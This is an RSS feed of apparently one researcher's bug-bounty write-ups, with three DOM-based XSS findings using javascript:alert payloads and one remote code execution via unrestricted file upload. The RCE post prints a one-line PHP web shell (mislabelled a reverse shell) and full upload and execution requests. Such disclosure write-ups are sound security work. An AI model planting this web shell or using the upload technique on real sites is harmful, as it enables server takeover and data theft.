<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Haroon Hameed on Medium]]></title>
        <description><![CDATA[Stories by Haroon Hameed on Medium]]></description>
        <link>https://medium.com/@haroonhameed_76621?source=rss-bd1ce9cbd1bb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*52M_oEG6Xn8Kv7OOlrUKcQ.jpeg</url>
            <title>Stories by Haroon Hameed on Medium</title>
            <link>https://medium.com/@haroonhameed_76621?source=rss-bd1ce9cbd1bb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 10:10:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@haroonhameed_76621/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DOM-Based XSS for fun and profit $$$! | Bug Bounty POC]]></title>
            <link>https://medium.com/@haroonhameed_76621/dom-based-xss-for-fun-and-profit-bug-bounty-poc-f4b9554e95d?source=rss-bd1ce9cbd1bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4b9554e95d</guid>
            <category><![CDATA[xss-bypass]]></category>
            <category><![CDATA[dom-xss]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Haroon Hameed]]></dc:creator>
            <pubDate>Tue, 17 Jan 2023 20:27:03 GMT</pubDate>
            <atom:updated>2025-02-16T16:54:51.465Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2n5M3ndeAcjYAFmtTC3OYw.png" /></figure><p>Hey everyone! This is Haroon Hameed and I’m here to share about our recent finding on Synack Red Team about DOM-based XSS. In this blog post, I’m going to discuss the Bug Bounty report of this discovery.</p><p>It was a QR-based target on Synack Red Team</p><p><strong>Vulnerability Analysis:</strong></p><p>Lets begin! Our main focus was on the main domain, which is <a href="https://redacted.com,/">https://redacted.com,</a> so we won’t do any subdomain enumeration and starting looking for juicy JavaScript files and luckily we found two interesting JavaScript file, where we found the following JavaScript function:</p><pre>function saveRegion(regionId, forceReload) {//Save selection<br>    customer_RegionId = regionId;<br><br>    $.ajax({<br>        type: &#39;POST&#39;,<br>        url: &quot;/Unauthenticated/SaveRegion&quot;,<br>        data: {<br>            regionId: regionId<br>        },<br>        success: function (response) {<br>            setCookie(&#39;RegionId&#39;, regionId, 1);<br>            $(&#39;#select-region-modal&#39;).modal(&#39;hide&#39;);<br>            var url = getParameterByName(&#39;url&#39;);<br>            if (url != null &amp;&amp; url != &#39;&#39;) {<br>                createCookie(&#39;UAPathway&#39;, &#39;Start&#39;, 1);<br>                setTimeout(function () {<br>                    window.open(url, &#39;_self&#39;);<br>                }, 1000);</pre><blockquote>In the above code when an unauthenticated user click on <strong>Save Region </strong>it will send Ajax request (An Ajax request is an HTTP request that uses the <strong>XMLHttpRequest</strong> object to exchange data asynchronously with a web server. This allows for dynamic web page updates without the need for a full page reload.) with <strong>POST</strong> type on <strong>/Unauthenticated/SaveRegion </strong>endpoint(s) than this code will save the selected <strong>regionId</strong> (regionId is a parameter passed to the function) to a cookie, then reloads the page (or redirects to a specified URL). It then sets a cookie for the user’s pathway (UAPathway) with a value of “Start”.</blockquote><p>The code above is vulnerable to DOM-Based XSS. If an attacker is able to inject malicious JavaScript into the “url” parameter, the resulting code will be executed on the page. The code uses the “getParameterByNam”e function to retrieve the value of the “url” parameter, which is then used in the “window.open” function.</p><p>Source:</p><pre>function getParameterByName(name, url = window.location.href) {<br>    name = name.replace(/[\[\]]/g, &#39;\\$&amp;&#39;);<br>    var regex = new RegExp(&#39;[?&amp;]&#39; + name + &#39;(=([^&amp;#]*)|&amp;|#|$)&#39;),<br>        results = regex.exec(url);<br>    if (!results) return null;<br>    if (!results[2]) return &#39;&#39;;<br>    return decodeURIComponent(results[2].replace(/\+/g, &#39; &#39;));<br>}</pre><p>In this JavaScript code “getParameterByName()” function, which is used to retrieve parameters from the URL, allows the attacker to execute malicious code on the website by manipulating the “url” parameters.</p><pre>window.open(url, &#39;_self&#39;);</pre><p>The following are some demonstration payloads which can be used to execute JavaScript commands and access DOM elements, such as document.domain and document.cookie:</p><p>After understanding the JavaScript code you will clearly see that it will take user-supplied input from ‘url’ parameter and executing it in DOM aka sink.</p><p>So we used the following JavaScript payload:</p><pre>javascript:alert(document.domain)<br><br>javascript:alert(document.cookie)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2z-sOJBuOtViV-jh7twGNA.png" /><figcaption>JavaScript Payload Execution</figcaption></figure><p>Hence, We submitted the best quality report to Synack’s Quality Rule program on Synack Red Team and was awarded with 3/3 stars and a bounty of $$$.</p><p>Voila! “Sometimes, HACKING is Just someone spending more time on something than anyone else might reasonably expect” it’s always good to look into things that seem to be pointless.</p><p><strong>Social Links:</strong></p><p><a href="https://twitter.com/HaroonHameed40">Twitter (Haroon Hameed)</a></p><p><a href="https://pk.linkedin.com/in/haroon-hameed-2ba33819a">LinkedIN (Haroon Hameed)</a></p><p>We are open to work on any private pentesting projects. If you have any such projects, please feel free to DM any of us. Thank you!</p><p>If you like this write-up, Share!</p><p>Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4b9554e95d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A $$$ worth of cookies! | Reflected DOM-Based XSS | Bug Bounty POC]]></title>
            <link>https://medium.com/@haroonhameed_76621/a-775-worth-of-cookies-reflected-dom-based-xss-bug-bounty-poc-3e7720c78fbe?source=rss-bd1ce9cbd1bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e7720c78fbe</guid>
            <category><![CDATA[xss-bypass]]></category>
            <category><![CDATA[dom-xss]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Haroon Hameed]]></dc:creator>
            <pubDate>Sat, 03 Dec 2022 15:14:57 GMT</pubDate>
            <atom:updated>2022-12-03T15:26:10.292Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey everyone! This is Haroon Hameed and I’m here to share about my recent finding on Synack Red Team about Reflected DOM-based XSS. In this blog post, I’m going to discuss the Bug Bounty report of this discovery.</p><p>It was a QR-based target on Synack Red Team, and whenever there is a QR-based target, my brother <a href="https://twitter.com/HannanHaseeb11">Hannan Haseeb</a> and I collaborate!</p><p><strong>Vulnerability Analysis:</strong></p><p>Lets begin! My main focus was on the main domain, which is <a href="https://redacted.com,/">https://redacted.com,</a> so I won’t do any subdomain enumeration and starting looking for juicy JavaScript files and luckily I found two interesting JavaScript file, where I found the following JavaScript function:</p><pre>code: function(e) {<br>                    var a = e.car,<br>                        t = e.articleUuid,<br>                        i = e.returnPath,<br>                        u = e.moreInfoData,<br>                        m = e.currentUser,<br>                        o = m.canPrint,<br>                        d = void 0 === o || o,<br>                        E = m.canBookmark,<br>                        b = void 0 === E || E,<br>                        f = a.uuid,<br>                        h = i ? &quot;Search Results&quot; : &quot;Car&quot;;<br>                    return l.createElement(&quot;div&quot;, null, l.createElement(&quot;div&quot;, {<br>                        className: &quot;viewer-header&quot;<br>                    }, l.createElement(&quot;div&quot;, {<br>                        className: &quot;car-form-container&quot;<br>                    }, l.createElement(&quot;div&quot;, {<br>                        className: &quot;article-toolbar-container&quot;<br>                    }, l.createElement(&quot;div&quot;, {<br>                        className: &quot;page-width article-toolbar&quot;<br>                    }, l.createElement(l.Suspense, {<br>                        fallback: l.createElement(&quot;div&quot;, null)<br>                    }, l.createElement(s, a)), l.createElement(&quot;ul&quot;, {<br>                        className: &quot;back-to-search-ul&quot;<br>                    }, l.createElement(&quot;li&quot;, {<br>                        className: &quot;back-to-search-results&quot;<br>                    }, l.createElement(&quot;a&quot;, {<br>                        className: &quot;button&quot;,<br>                        href: i || &quot;/car/&quot; + f + &quot;/search&quot;<br>                    },</pre><p>This code is used for rendering a car viewer component in a React application. The component displays the car details, as well as other information such as a back to search button and a tool bar that allows the user to perform certain actions. DOM based XSS is possible with this code if the href attribute of the “a” tag is not properly sanitized. If user input is not properly sanitized, it is possible for malicious code to be executed, allowing for a DOM based XSS attack.</p><p>In 2nd JavaScript file, I found the proper Source and Sink of the Reflected DOM-Based XSS, the following are our Source and Sink:</p><p>Source:</p><pre>document.addEventListener(&quot;DOMContentLoaded&quot;, (function() {<br>            var e = document.getElementById(&quot;search-application-container&quot;)<br>              , t = JSON.parse(e.getAttribute(&quot;state&quot;)) || window.initialState;<br>            a.render(r.createElement(rr, t), e)</pre><p>This Source is used for rendering a React component in the DOM. It parses the state from the element with the id “search-application-container” and passes it to the React component. The component is then rendered in the element.</p><p>Sink:</p><pre>l.createElement(&quot;a&quot;, {<br>                        className: &quot;button&quot;,<br>                        href: i || &quot;/car/&quot; + f + &quot;/search&quot;<br>                    }</pre><p>The DOM function l.createElement create a HTML tag a and set it’s attribute value to HTML href attribute which is user controllable returnPath parameter.</p><p>After understanding the JavaScript code you will clearly see that it will take user-supplied input from returnPath parameter and executing it in DOM aka sink.</p><p>So I used the following JavaScript payload:</p><pre>javascript:alert(document.domain)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*khVSe2lDNDX-lMQ4ImQb5Q.png" /></figure><p>Hence, I had successfully submitted the best quality report to Synack’s Quality Rule program on Synack Red Team and was awarded with 3/3 stars and a bounty of $$$.</p><p><strong>Social Links:</strong></p><p><a href="https://twitter.com/HaroonHameed40">Twitter (Haroon Hameed)</a></p><p><a href="https://pk.linkedin.com/in/haroon-hameed-2ba33819a">LinkedIN (Haroon Hameed)</a></p><p><strong>Partner</strong>:</p><p><a href="https://twitter.com/HannanHaseeb11">Twitter (Hannan Haseeb)</a></p><p><a href="https://www.linkedin.com/in/hannanhaseeb/">LinkedIN (Hannan Haseeb)</a></p><p>We are open to work on any private pentesting projects. If you have any such projects, please feel free to DM any of us. Thank you!</p><p>If you like this write-up, Share!</p><p>Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e7720c78fbe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Winning QR with DOM-Based XSS | Bug Bounty POC]]></title>
            <link>https://medium.com/@haroonhameed_76621/winning-qr-with-dom-based-xss-bug-bounty-poc-4b4048cf285d?source=rss-bd1ce9cbd1bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b4048cf285d</guid>
            <category><![CDATA[dom]]></category>
            <category><![CDATA[xss-filter-bypass]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <dc:creator><![CDATA[Haroon Hameed]]></dc:creator>
            <pubDate>Tue, 15 Nov 2022 09:26:28 GMT</pubDate>
            <atom:updated>2022-11-15T09:28:04.175Z</atom:updated>
            <content:encoded><![CDATA[<h4>Background:</h4><p><strong><em>I am passionate Cyber Security enthusiast, with extensive skills in Web Application, API Penetration Testing, currently working as a Bug Bounty hunter on Synack Red Team (SRT), Bugcrowd and Zerocopter from Shahkot, Punjab, Pakistan.</em></strong></p><p>This blog post describes how I am able to execute DOM-Based XSS on Synack Red Team program and able to win QR aka Quality Rule.</p><p>Hope you guys are doing good, the bug was simple to exploit, but it took a while to figure out and make it happen. I’ll try to keep blog simple as possible.</p><h3>Understanding the DOM:</h3><p>In order to understand sources and sinks as it relates to DOM-Based Cross-site scripting, we briefly have to understand the DOM and some of its methods. The Document Object Model is the web browser’s hierarchical representation of the elements of a webpage. In other words, when a browser receives a page to load, it will parse or dissect the page structure and separate the different elements of the page into a tree-like structure with each element and attribute nested in their respective location.</p><h3>DOM-Based XSS: Source and Sinks</h3><p>Now that we have the basics of the DOM and we understand that JavaScript code can make changes to the page in real time, we can discuss DOM-Based XSS as well as source and sinks. Disclaimer: To help with the explanation, I’ll be using a lab from PortSwigger’s Web Academy, which include additional information as well as plenty of labs to practice the concepts discussed. This will be a minor spoiler to one of the labs.</p><p><strong>Source</strong>:</p><p>A source function is any JS property or function that accepts user input from somewhere on the page. An example of a source is the location.search property because it reads input from the query string.<br>Here are some common sources:<br>* document.URL<br>* document.documentURI<br>* document.URLUnencoded<br>* document.baseURI<br>* location.search<br>* document.cookie<br>* document.referrer</p><p><strong>Sink</strong>:</p><p>A sink is a potentially dangerous JavaScript function that can caused undesirable effects if attacker controlled data is passed to it. Basically, if the function returns input back to the screen as output without security checks, it’s considered a sink. An example of this would be the “innerHTML” property used earlier as that changes the contents of the HTML page to whatever is given to it.<br>Common sinks include:<br>* document.write()<br>* document.writeln()<br>* document.domain<br>* element.innerHTML<br>* element.outerHTML<br>* element.insertAdjacentHTML<br>* element.onevent</p><p><strong>Vulnerability Analysis:</strong></p><p>My main focus was on the main domain, which is <a href="https://redacted.com,/">https://redacted.com,</a> so I won’t do any subdomain enumeration and starting looking for juicy JavaScript files and luckily I found an interesting JavaScript file, where I found the following JavaScript function:</p><pre>function getParameterByName(name, url) {<br>    if (!url) url = window.location.href;<br>    name = name.replace(/[\[\]]/g, &quot;\\$&amp;&quot;);<br>    var regex = new RegExp(&quot;[?&amp;]&quot; + name + &quot;(=([^&amp;#]*)|&amp;|#|$)&quot;),<br>        results = regex.exec(url);<br>    if (!results) return null;<br>    if (!results[2]) return null;<br>    return decodeURIComponent(results[2].replace(/\+/g, &quot; &quot;))</pre><p>In this JavaScript function <strong>getParamByName</strong> which is getting two parameter(s) and its value from the URL, it takes two parameter(s) one is <strong>name</strong> which is a string and fetch parameter name from URL which is <strong>target=</strong> in our case and second parameter value will be URL like document.URL, document.location.</p><p>In our case following are Source and Sink:</p><p><strong>Source</strong>:</p><pre>window.location.href</pre><p><strong>Sink:</strong></p><pre>else{cmsService.getClientConfig().then(function(result){if(angular.isDefined(result)){uaService.createAndSetDemographics(result)}$window.location.href=vm.credentials.redirect||&quot;/&quot;})</pre><p>After taking the value from the source for the successful execution of JavaScript the following function need to be true:</p><pre> $location.path(&quot;/&quot;)<br>            } else {<br>                if (result.token) {<br>                    window.localStorage.wptoken = result.token<br>                }<br>                if (result.status == &quot;ACTIONREQUIRED_2FA_SETUP&quot; &amp;&amp; result.token) {<br>                    twoFactorAuthService.requireAuthSetup(&quot;login&quot;)<br>                } else if (result.status == &quot;ACTIONREQUIRED_2FA_VERIFICATION&quot; &amp;&amp; result.token) {<br>                    twoFactorAuthService.requireAuthVerification(&quot;login&quot;)<br>                } else if (result.success != &quot;true&quot; &amp;&amp; result.status.length &gt; 0) {<br>                    vm.submitted = false;<br>                    vm.onError(result.status)<br>                } else {<br>                    cmsService.getClientConfig().then(function(result) {<br>                        if (angular.isDefined(result)) {<br>                            uaService.createAndSetDemographics(result)<br>                        }<br>                        $window.location.href = vm.credentials.redirect || &quot;/&quot;<br>                    })</pre><p>In our case the last statement is true and causing the execution of JavaScript.</p><p>After understanding the JavaScript code you will clearly see that it will take user-supplied input from <strong>target</strong> parameter and executing it in DOM aka sink.</p><p>So I used the following JavaScript payload:</p><pre>javascript:alert(document.domain)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6hQ35VW7lzNJpN5qfeWaxQ.png" /><figcaption>Execution of Payload</figcaption></figure><p>Hence, it was Quality Rule program on Synack Red Team, I submitted the best quality report to <strong>Synack</strong> and won the quality with 3/3 stars and awarded by $775.00 of bounty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jo9i0s7SvFzyyaHzgqIngg.jpeg" /></figure><p>Whenever you are testing an application for such issues, always check JavaScript file and understand how application handle user-supplied inputs.</p><p>Voila! “Sometimes, HACKING is Just someone spending more time on something than anyone else might reasonably expect” it’s always good to look into things that seem to be pointless.</p><p><strong>Social Links:</strong></p><p><a href="https://twitter.com/HaroonHameed40">Twitter</a></p><p><a href="https://pk.linkedin.com/in/haroon-hameed-2ba33819a">LinkedIN</a></p><p><strong>Partner</strong>:</p><p><a href="https://twitter.com/HannanHaseeb11">Twitter</a></p><p><a href="https://www.linkedin.com/in/hannanhaseeb/">LinkedIN</a></p><p>We are open to work, if you have any Private Pentesting project, kindly DM any of us! Thank you!</p><p>If you like this write-up, Share!</p><p>Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b4048cf285d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Achieving Remote Code Execution via Unrestricted File Upload]]></title>
            <link>https://medium.com/@haroonhameed_76621/achieving-remote-code-execution-via-unrestricted-file-upload-6050f360c218?source=rss-bd1ce9cbd1bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/6050f360c218</guid>
            <category><![CDATA[srt]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[bugcrowd]]></category>
            <category><![CDATA[rce]]></category>
            <dc:creator><![CDATA[Haroon Hameed]]></dc:creator>
            <pubDate>Mon, 14 Mar 2022 22:27:15 GMT</pubDate>
            <atom:updated>2022-03-14T23:04:20.531Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>$whoami:</strong></h3><blockquote><strong>I am passionate Cyber Security enthusiast, with extensive skills in Web Application, API Penetration Testing, currently working as a Bug Bounty hunter on Bugcrowd and Synack Red Team (SRT) member from Shahkot, Punjab, Pakistan.</strong></blockquote><p>Hello everyone, Haroon Hameed here, this is my first write-up, so pretty excited to share this finding to you people. Kindly ignore the grammar mistakes, because English is not my first language :) Recently, while hunting on Synack Red Team I came across a program on platform that everyone leaves and have 0 connections on it, it’s a very wide scope program from a world well-known fast-food company, because of already reported tons of vulnerability on it. No one lays hand on it, so I decided to try my luck on it and my focus was on finding something unique. I’ll refer the target as <strong>redacted.com</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yx0ywPVKz2dLBy2-hPar0g.jpeg" /></figure><h3>Fuzzing:</h3><p>My main focus on the main domain which is<strong> https://redacted.com</strong>, so I won’t do any subdomain enumeration and start fuzzing on it using <a href="https://github.com/ffuf/ffuf">fuff</a>. In case you are not familiar with <a href="https://github.com/ffuf/ffuf">ffuf</a>, I recommend to read this <a href="https://mikekitckchan.medium.com/holy-ffuf-a-beginner-guide-to-fuzz-with-ffuf-4bc6a66b5391"><strong><em>artic</em></strong></a><strong><em>le.</em></strong></p><p>I start fuzzing the endpoint(s) of the <strong>https://redacted.com </strong>by using the following command:</p><pre>ffuf -u redeacted.com/FUZZ -w /path -mc 200 -p 0.5–0.6</pre><p>After fuzzing I came across an endpoint name <strong>/uploadform</strong>, where Web Application allows the upload file such shows in the image in below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*jNfX1C9XwkRewzfLpFzwDw.jpeg" /></figure><p>The section allowed file with any extension having any content, by seeing this I feel like I was born in lucky start :’), but opening the file directly does not show any kind of execution. So I try to upload a simple <strong>PHP</strong> <strong>Reverse Shell</strong>, to established on a connection that is initiated from a remote machine and it successfully upload a shell and gave me 200 OK response, but the problem is that, I didn’t know where is the uploading file is going, so I again run the <a href="https://github.com/ffuf/ffuf">fuff </a>on the <strong>https://redacted.com/uploadform </strong>by using the following command:</p><pre>ffuf -u redeacted.com/uploadform/FUZZ -w /path -mc 200 -p 0.5–0.6</pre><p>But didn’t find anything interesting, so I start to reading the source code of the <a href="https://redacted.com/uploadform"><strong>https://redacted.com/uploadform</strong></a><strong> </strong>and found a JavaScript file <strong>/script.js</strong>, on <a href="https://www.kfc.ro/uploadform/script.js"><strong>https://redeacted.com/uploadform/script.js</strong></a> where I found <strong>Ajex </strong>code where I found the endpoint <strong>submit.php</strong>, so, after that I know the full path of the uploaded file, I upload a <strong>PHP</strong> <strong>Reverse Shell, </strong>but the problem was that PHP functions system(), shell_exec(), passthuru() were disabled and the only popen() function was enabled, but I successfully able to craft my <strong>Reverse Shell</strong> payload with that PHP function and save it into the file name <strong>shell.php</strong></p><h3>PHP Reverse Shell:</h3><pre>&lt;?php$cmd = $_GET[&#39;cmd&#39;];echo `$cmd`;?&gt;</pre><p>After uploading the upper Reverse Shell, I intercept the request in Burp Suite and I added the submit.php endpoint which Ifound in the JavaScript file <strong>Ajex</strong> code.</p><p><strong>Request:</strong></p><pre>POST /uploadform/submit.php HTTP/2<br>Host: redeacted.com<br>Content-Length: 479<br>Cache-Control: max-age=0<br>Sec-Ch-Ua: &quot; Not A;Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;92&quot;<br>Sec-Ch-Ua-Mobile: ?0<br>Upgrade-Insecure-Requests: 1<br>Origin: https://www.redeacted.com<br>Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylIYu1WiiyClM5lb7<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Referer: https://redeacted.com/uploadform/<br>Accept-Encoding: gzip, deflate<br>Accept-Language: en-GB,en-US;q=0.9,en;q=0.8<br><br>------WebKitFormBoundarylIYu1WiiyClM5lb7<br>Content-Disposition: form-data; name=&quot;name&quot;<br><br><br>------WebKitFormBoundarylIYu1WiiyClM5lb7<br>Content-Disposition: form-data; name=&quot;file_upload&quot;; filename=&quot;shell.php&quot;<br>Content-Type: text/php<br><br>&lt;?php$cmd = $_GET[&#39;cmd&#39;];echo `$cmd`;?&gt;</pre><pre>------WebKitFormBoundarylIYu1WiiyClM5lb7<br>Content-Disposition: form-data; name=&quot;submit&quot;<br><br>Submit Content<br>------WebKitFormBoundarylIYu1WiiyClM5lb7--</pre><p>After that I got the following response:</p><pre>HTTP/2 200 OK<br>Date: Thu, 04 Nov 2021 20:34:33 GMT<br>Content-Type: text/html; charset=UTF-8<br>Vary: Accept-Encoding<br>Cache-Control: max-age=0, no-cache, no-store, must-revalidate<br>Expires: 0<br>X-Frame-Options: SAMEORIGIN<br>X-Content-Type-Options: NOSNIFF<br>X-Xss-Protection: 1; mode=block<br>X-Ua-Compatible: IE=Edge,chrome=1<br>Pragma: no-cache<br>X-Xss-Protection: 1; mode=block<br>X-Content-Type-Options: nosniff<br>Strict-Transport-Security: max-age=31536000; includeSubDomains<br>X-Server-Powered-By: Engintron<br>Cf-Cache-Status: DYNAMIC<br>Expect-Ct: max-age=604800, report-uri=&quot;https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct&quot;<br>Report-To: {&quot;endpoints&quot;:[{&quot;url&quot;:&quot;https:\/\/a.nel.cloudflare.com\/report\/v3?s=AU23yX1BPbcc%2BkZChBr4HyqTbZn8PRhCVu45j4Xh7wo1dGJbrYVUjI5Qbkuk0yFoRMIUHtYuMGjTAiY9YlTBvTIx7Cyv9FyDYjWWypU9inSoRPsgkom3S3Ee6C4%3D&quot;}],&quot;group&quot;:&quot;cf-nel&quot;,&quot;max_age&quot;:604800}<br>Nel: {&quot;success_fraction&quot;:0,&quot;report_to&quot;:&quot;cf-nel&quot;,&quot;max_age&quot;:604800}<br>Server: cloudflare<br>Cf-Ray: 6a909fafdf5c4c00-AMS<br><br>{&quot;success&quot;:&quot;Form was submitted&quot;,&quot;formData&quot;:{&quot;name&quot;:&quot;&quot;,&quot;submit&quot;:&quot;Submit Content&quot;}}</pre><p>After getting this upper response I will assured that our <strong>PHP</strong> <strong>Reverse Shell</strong> is successfully uploaded. After that I visit these endpoint(s) <strong>/uploadform/uploads/shell.php</strong> the following command in front of endpoint(s) to remotely execute the <strong>PHP</strong> <strong>Reverse Shell</strong>.</p><pre>POST /uploadform/uploads/shell.php?code=echo%20%60id%60 HTTP/2<br>Host: redeacted.com<br>Content-Length: 479<br>Cache-Control: max-age=0<br>Sec-Ch-Ua: &quot; Not A;Brand&quot;;v=&quot;99&quot;, &quot;Chromium&quot;;v=&quot;92&quot;<br>Sec-Ch-Ua-Mobile: ?0<br>Upgrade-Insecure-Requests: 1<br>Origin: https://redeacted.com<br>Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylIYu1WiiyClM5lb7<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Referer: <a href="https://redeacted.com/">https://redeacted.com</a>/uploadform/<br>Accept-Encoding: gzip, deflate<br>Accept-Language: en-GB,en-US;q=0.9,en;q=0.8<br><br>------WebKitFormBoundarylIYu1WiiyClM5lb7<br>Content-Disposition: form-data; name=&quot;name&quot;<br><br><br>------WebKitFormBoundarylIYu1WiiyClM5lb7<br>Content-Disposition: form-data; name=&quot;file_upload&quot;; filename=&quot;shell.php&quot;<br>Content-Type: text/php</pre><pre>&lt;?php$cmd = $_GET[&#39;cmd&#39;];echo `$cmd`;?&gt;<br>------WebKitFormBoundarylIYu1WiiyClM5lb7<br>Content-Disposition: form-data; name=&quot;submit&quot;<br><br>Submit Content<br>------WebKitFormBoundarylIYu1WiiyClM5lb7--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UYUWn26K0HnXh_VDHmeiLg.jpeg" /><figcaption>Successful RCE :)</figcaption></figure><p>I submitted the best quality report to <strong>Synack</strong> and won the quality with 3/3 stars and awarded by $3000.00 of bounty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*lEoF-QOsHq9qED7Kzc8D-Q.jpeg" /></figure><p>Whenever you are testing an application for such issues, always try to understand how the application is handling user provided data. There might be multiple endpoints that performs different tasks on an uploaded files</p><p><strong><em>Voila!!!</em></strong></p><p>If you like this write-up, Share!</p><p>Thank you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6050f360c218" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>